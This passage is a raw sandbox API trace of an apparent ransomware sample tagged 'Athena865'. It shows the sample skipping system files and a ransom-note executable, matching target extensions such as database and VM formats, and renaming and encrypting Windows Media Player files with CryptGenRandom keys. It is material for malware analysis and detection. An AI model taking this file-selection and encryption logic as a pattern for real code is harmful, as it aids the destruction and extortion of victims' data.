ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x19000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wmpconfig.exe", cAlternateFileName="")) returned 1 [0040.668] lstrcmpiW (lpString1="wmpconfig.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0040.668] lstrcmpiW (lpString1="wmpconfig.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0040.668] lstrcmpiW (lpString1="wmpconfig.exe", lpString2=".") returned 1 [0040.668] lstrcmpiW (lpString1="wmpconfig.exe", lpString2="..") returned 1 [0040.668] lstrcmpiW (lpString1="wmpconfig.exe", lpString2="windows") returned 1 [0040.668] lstrcmpiW (lpString1="wmpconfig.exe", lpString2="bootmgr") returned 1 [0040.668] lstrcmpiW (lpString1="wmpconfig.exe", lpString2="temp") returned 1 [0040.668] lstrcmpiW (lpString1="wmpconfig.exe", lpString2="pagefile.sys") returned 1 [0040.668] lstrcmpiW (lpString1="wmpconfig.exe", lpString2="boot") returned 1 [0040.668] lstrcmpiW (lpString1="wmpconfig.exe", lpString2="ids.txt") returned 1 [0040.668] lstrcmpiW (lpString1="wmpconfig.exe", lpString2="ntuser.dat") returned 1 [0040.668] lstrcmpiW (lpString1="wmpconfig.exe", lpString2="perflogs") returned 1 [0040.668] lstrcmpiW (lpString1="wmpconfig.exe", lpString2="MSBuild") returned 1 [0040.668] lstrlenW (lpString="wmpconfig.exe") returned 13 [0040.668] lstrcpyW (in: lpString1=0x241e894, lpString2="wmpconfig.exe" | out: lpString1="wmpconfig.exe") returned="wmpconfig.exe" [0040.668] lstrlenW (lpString="wmpconfig.exe") returned 13 [0040.668] lstrlenW (lpString="Athena865") returned 9 [0040.668] lstrcmpiW (lpString1="onfig.exe", lpString2="Athena865") returned 1 [0040.668] lstrlenW (lpString=".dll") returned 4 [0040.668] lstrcmpiW (lpString1="wmpconfig.exe", lpString2=".dll") returned 1 [0040.668] lstrlenW (lpString=".lnk") returned 4 [0040.668] lstrcmpiW (lpString1="wmpconfig.exe", lpString2=".lnk") returned 1 [0040.668] lstrlenW (lpString=".ini") returned 4 [0040.668] lstrcmpiW (lpString1="wmpconfig.exe", lpString2=".ini") returned 1 [0040.668] lstrlenW (lpString=".sys") returned 4 [0040.668] lstrcmpiW (lpString1="wmpconfig.exe", lpString2=".sys") returned 1 [0040.668] lstrlenW (lpString="wmpconfig.exe") returned 13 [0040.668] lstrlenW (lpString="bak") returned 3 [0040.668] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0040.668] lstrlenW (lpString="ba_") returned 3 [0040.668] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0040.668] lstrlenW (lpString="dbb") returned 3 [0040.669] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0040.669] lstrlenW (lpString="vmdk") returned 4 [0040.669] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0040.669] lstrlenW (lpString="rar") returned 3 [0040.669] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0040.669] lstrlenW (lpString="zip") returned 3 [0040.669] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0040.669] lstrlenW (lpString="tgz") returned 3 [0040.669] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0040.669] lstrlenW (lpString="vbox") returned 4 [0040.669] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0040.669] lstrlenW (lpString="vdi") returned 3 [0040.669] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0040.669] lstrlenW (lpString="vhd") returned 3 [0040.669] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0040.669] lstrlenW (lpString="vhdx") returned 4 [0040.669] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0040.669] lstrlenW (lpString="avhd") returned 4 [0040.669] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0040.669] lstrlenW (lpString="db") returned 2 [0040.669] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0040.669] lstrlenW (lpString="db2") returned 3 [0040.669] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0040.669] lstrlenW (lpString="db3") returned 3 [0040.669] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0040.669] lstrlenW (lpString="dbf") returned 3 [0040.669] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0040.669] lstrlenW (lpString="mdf") returned 3 [0040.669] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0040.669] lstrlenW (lpString="mdb") returned 3 [0040.669] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0040.669] lstrlenW (lpString="sql") returned 3 [0040.669] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0040.669] lstrlenW (lpString="sqlite") returned 6 [0040.669] lstrcmpiW (lpString1="ig.exe", lpString2="sqlite") returned -1 [0040.669] lstrlenW (lpString="sqlite3") returned 7 [0040.669] lstrcmpiW (lpString1="fig.exe", lpString2="sqlite3") returned -1 [0040.669] lstrlenW (lpString="sqlitedb") returned 8 [0040.670] lstrcmpiW (lpString1="nfig.exe", lpString2="sqlitedb") returned -1 [0040.670] lstrlenW (lpString="xml") returned 3 [0040.670] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0040.670] lstrlenW (lpString="$er") returned 3 [0040.670] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0040.670] lstrlenW (lpString="4dd") returned 3 [0040.670] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0040.670] lstrlenW (lpString="4dl") returned 3 [0040.670] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0040.670] lstrlenW (lpString="^^^") returned 3 [0040.670] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0040.670] lstrlenW (lpString="abs") returned 3 [0040.670] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0040.670] lstrlenW (lpString="abx") returned 3 [0040.670] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0040.670] lstrlenW (lpString="accdb") returned 5 [0040.670] lstrcmpiW (lpString1="g.exe", lpString2="accdb") returned 1 [0040.670] lstrlenW (lpString="accdc") returned 5 [0040.670] lstrcmpiW (lpString1="g.exe", lpString2="accdc") returned 1 [0040.670] lstrlenW (lpString="accde") returned 5 [0040.670] lstrcmpiW (lpString1="g.exe", lpString2="accde") returned 1 [0040.670] lstrlenW (lpString="accdr") returned 5 [0040.670] lstrcmpiW (lpString1="g.exe", lpString2="accdr") returned 1 [0040.670] lstrlenW (lpString="accdt") returned 5 [0040.670] lstrcmpiW (lpString1="g.exe", lpString2="accdt") returned 1 [0040.670] lstrlenW (lpString="accdw") returned 5 [0040.670] lstrcmpiW (lpString1="g.exe", lpString2="accdw") returned 1 [0040.670] lstrlenW (lpString="accft") returned 5 [0040.670] lstrcmpiW (lpString1="g.exe", lpString2="accft") returned 1 [0040.670] lstrlenW (lpString="adb") returned 3 [0040.670] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0040.670] lstrlenW (lpString="adb") returned 3 [0040.670] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0040.670] lstrlenW (lpString="ade") returned 3 [0040.670] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0040.670] lstrlenW (lpString="adf") returned 3 [0040.670] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0040.670] lstrlenW (lpString="adn") returned 3 [0040.670] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0040.671] lstrlenW (lpString="adp") returned 3 [0040.671] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0040.671] lstrlenW (lpString="alf") returned 3 [0040.671] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0040.671] lstrlenW (lpString="ask") returned 3 [0040.671] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0040.671] lstrlenW (lpString="btr") returned 3 [0040.671] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0040.671] lstrlenW (lpString="cat") returned 3 [0040.671] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0040.671] lstrlenW (lpString="cdb") returned 3 [0040.671] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0040.671] lstrlenW (lpString="ckp") returned 3 [0040.671] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0040.671] lstrlenW (lpString="cma") returned 3 [0040.671] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0040.671] lstrlenW (lpString="cpd") returned 3 [0040.671] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0040.671] lstrlenW (lpString="dacpac") returned 6 [0040.671] lstrcmpiW (lpString1="ig.exe", lpString2="dacpac") returned 1 [0040.671] lstrlenW (lpString="dad") returned 3 [0040.671] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0040.671] lstrlenW (lpString="dadiagrams") returned 10 [0040.671] lstrcmpiW (lpString1="config.exe", lpString2="dadiagrams") returned -1 [0040.671] lstrlenW (lpString="daschema") returned 8 [0040.671] lstrcmpiW (lpString1="nfig.exe", lpString2="daschema") returned 1 [0040.671] lstrlenW (lpString="db-journal") returned 10 [0040.672] lstrcmpiW (lpString1="config.exe", lpString2="db-journal") returned -1 [0040.672] lstrlenW (lpString="db-shm") returned 6 [0040.672] lstrcmpiW (lpString1="ig.exe", lpString2="db-shm") returned 1 [0040.672] lstrlenW (lpString="db-wal") returned 6 [0040.672] lstrcmpiW (lpString1="ig.exe", lpString2="db-wal") returned 1 [0040.672] lstrlenW (lpString="dbc") returned 3 [0040.672] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0040.672] lstrlenW (lpString="dbs") returned 3 [0040.672] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0040.672] lstrlenW (lpString="dbt") returned 3 [0040.672] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0040.672] lstrlenW (lpString="dbv") returned 3 [0040.672] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0040.672] lstrlenW (lpString="dbx") returned 3 [0040.672] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0040.672] lstrlenW (lpString="dcb") returned 3 [0040.672] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0040.672] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0040.672] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\wmpconfig.exe.Athena865") returned 61 [0040.672] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\wmpconfig.exe" (normalized: "c:\\program files\\windows media player\\wmpconfig.exe"), lpNewFileName="C:\\Program Files\\Windows Media Player\\wmpconfig.exe.Athena865" (normalized: "c:\\program files\\windows media player\\wmpconfig.exe.athena865"), dwFlags=0x1) returned 1 [0040.673] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\wmpconfig.exe.Athena865" (normalized: "c:\\program files\\windows media player\\wmpconfig.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0040.673] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=102400) returned 1 [0040.673] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0040.673] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d318 [0040.673] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0040.673] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0040.674] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0040.674] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0040.674] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x19300, lpName=0x0) returned 0x17c [0040.676] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x19300) returned 0x100000 [0040.681] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0040.681] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0040.681] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0040.681] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0040.681] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0040.681] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0040.681] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0040.681] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0040.681] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0040.681] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0040.682] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0040.682] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0040.682] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0040.682] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0040.683] CloseHandle (hObject=0x17c) returned 1 [0040.683] CloseHandle (hObject=0x154) returned 1 [0040.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d318 | out: hHeap=0x4f0000) returned 1 [0040.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0040.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0040.685] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0af919e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0af919e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0b1f2fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x128200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WMPDMC.exe", cAlternateFileName="")) returned 1 [0040.685] lstrcmpiW (lpString1="WMPDMC.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0040.685] lstrcmpiW (lpString1="WMPDMC.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0040.685] lstrcmpiW (lpString1="WMPDMC.exe", lpString2=".") returned 1 [0040.685] lstrcmpiW (lpString1="WMPDMC.exe", lpString2="..") returned 1 [0040.686] lstrcmpiW (lpString1="WMPDMC.exe", lpString2="windows") returned 1 [0040.686] lstrcmpiW (lpString1="WMPDMC.exe", lpString2="bootmgr") returned 1 [0040.686] lstrcmpiW (lpString1="WMPDMC.exe", lpString2="temp") returned 1 [0040.686] lstrcmpiW (lpString1="WMPDMC.exe", lpString2="pagefile.sys") returned 1 [0040.686] lstrcmpiW (lpString1="WMPDMC.exe", lpString2="boot") returned 1 [0040.686] lstrcmpiW (lpString1="WMPDMC.exe", lpString2="ids.txt") returned 1 [0040.686] lstrcmpiW (lpString1="WMPDMC.exe", lpString2="ntuser.dat") returned 1 [0040.686] lstrcmpiW (lpString1="WMPDMC.exe", lpString2="perflogs") returned 1 [0040.686] lstrcmpiW (lpString1="WMPDMC.exe", lpString2="MSBuild") returned 1 [0040.686] lstrlenW (lpString="WMPDMC.exe") returned 10 [0040.686] lstrcpyW (in: lpString1=0x241e894, lpString2="WMPDMC.exe" | out: lpString1="WMPDMC.exe") returned="WMPDMC.exe" [0040.686] lstrlenW (lpString="WMPDMC.exe") returned 10 [0040.686] lstrlenW (lpString="Athena865") returned 9 [0040.686] lstrcmpiW (lpString1="MPDMC.exe", lpString2="Athena865") returned 1 [0040.686] lstrlenW (lpString=".dll") returned 4 [0040.686] lstrcmpiW (lpString1="WMPDMC.exe", lpString2=".dll") returned 1 [0040.686] lstrlenW (lpString=".lnk") returned 4 [0040.686] lstrcmpiW (lpString1="WMPDMC.exe", lpString2=".lnk") returned 1 [0040.686] lstrlenW (lpString=".ini") returned 4 [0040.686] lstrcmpiW (lpString1="WMPDMC.exe", lpString2=".ini") returned 1 [0040.686] lstrlenW (lpString=".sys") returned 4 [0040.686] lstrcmpiW (lpString1="WMPDMC.exe", lpString2=".sys") returned 1 [0040.686] lstrlenW (lpString="WMPDMC.exe") returned 10 [0040.686] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\WMPDMC.exe.Athena865") returned 58 [0040.686] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\WMPDMC.exe" (normalized: "c:\\program files\\windows media player\\wmpdmc.exe"), lpNewFileName="C:\\Program Files\\Windows Media Player\\WMPDMC.exe.Athena865" (normalized: "c:\\program files\\windows media player\\wmpdmc.exe.athena865"), dwFlags=0x1) returned 1 [0040.687] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\WMPDMC.exe.Athena865" (normalized: "c:\\program files\\windows media player\\wmpdmc.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0040.687] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1212928) returned 1 [0040.687] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0040.687] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d318 [0040.687] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0040.687] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0040.688] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0040.688] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0040.688] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x128500, lpName=0x0) returned 0x17c [0040.690] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x128500) returned 0x2d50000 [0040.743] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0040.744] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0040.744] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0040.744] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0040.744] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0040.744] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0040.744] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0040.744] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0040.744] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0040.744] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0040.744] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0040.744] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0040.744] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0040.744] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0040.769] CloseHandle (hObject=0x17c) returned 1 [0040.769] CloseHandle (hObject=0x154) returned 1 [0040.788] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d318 | out: hHeap=0x4f0000) returned 1 [0040.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0040.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0040.794] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52b88470, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x52b88470, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x4623b740, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x68200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WMPDMCCore.dll", cAlternateFileName="")) returned 1 [0040.794] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0040.794] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0040.794] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2=".") returned 1 [0040.794] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2="..") returned 1 [0040.794] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2="windows") returned 1 [0040.794] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2="bootmgr") returned 1 [0040.795] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2="temp") returned 1 [0040.795] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2="pagefile.sys") returned 1 [0040.795] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2="boot") returned 1 [0040.795] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2="ids.txt") returned 1 [0040.795] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2="ntuser.dat") returned 1 [0040.795] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2="perflogs") returned 1 [0040.795] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2="MSBuild") returned 1 [0040.795] lstrlenW (lpString="WMPDMCCore.dll") returned 14 [0040.795] lstrcpyW (in: lpString1=0x241e894, lpString2="WMPDMCCore.dll" | out: lpString1="WMPDMCCore.dll") returned="WMPDMCCore.dll" [0040.795] lstrlenW (lpString="WMPDMCCore.dll") returned 14 [0040.795] lstrlenW (lpString="Athena865") returned 9 [0040.795] lstrcmpiW (lpString1="CCore.dll", lpString2="Athena865") returned 1 [0040.795] lstrlenW (lpString=".dll") returned 4 [0040.795] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2=".dll") returned 1 [0040.795] lstrlenW (lpString=".lnk") returned 4 [0040.795] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2=".lnk") returned 1 [0040.795] lstrlenW (lpString=".ini") returned 4 [0040.795] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2=".ini") returned 1 [0040.795] lstrlenW (lpString=".sys") returned 4 [0040.795] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2=".sys") returned 1 [0040.795] lstrlenW (lpString="WMPDMCCore.dll") returned 14 [0040.795] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\WMPDMCCore.dll.Athena865") returned 62 [0040.795] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\WMPDMCCore.dll" (normalized: "c:\\program files\\windows media player\\wmpdmccore.dll"), lpNewFileName="C:\\Program Files\\Windows Media Player\\WMPDMCCore.dll.Athena865" (normalized: "c:\\program files\\windows media player\\wmpdmccore.dll.athena865"), dwFlags=0x1) returned 1 [0040.799] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\WMPDMCCore.dll.Athena865" (normalized: "c:\\program files\\windows media player\\wmpdmccore.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0040.799] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=426496) returned 1 [0040.799] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0040.799] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d318 [0040.800] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0040.800] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0040.800] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0040.800] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0040.800] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x68500, lpName=0x0) returned 0x17c [0040.802] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x68500) returned 0x1f0000 [0040.815] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0040.816] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0040.816] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0040.816] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0040.817] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0040.817] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0040.817] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0040.817] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0040.817] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0040.817] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0040.817] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0040.817] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0040.817] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0040.817] UnmapViewOfFile (lpBaseAddress=0x1f0000) returned 1 [0040.821] CloseHandle (hObject=0x17c) returned 1 [0040.821] CloseHandle (hObject=0x154) returned 1 [0040.826] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d318 | out: hHeap=0x4f0000) returned 1 [0040.826] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0040.826] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0040.828] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b1930c1, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x5b1930c1, 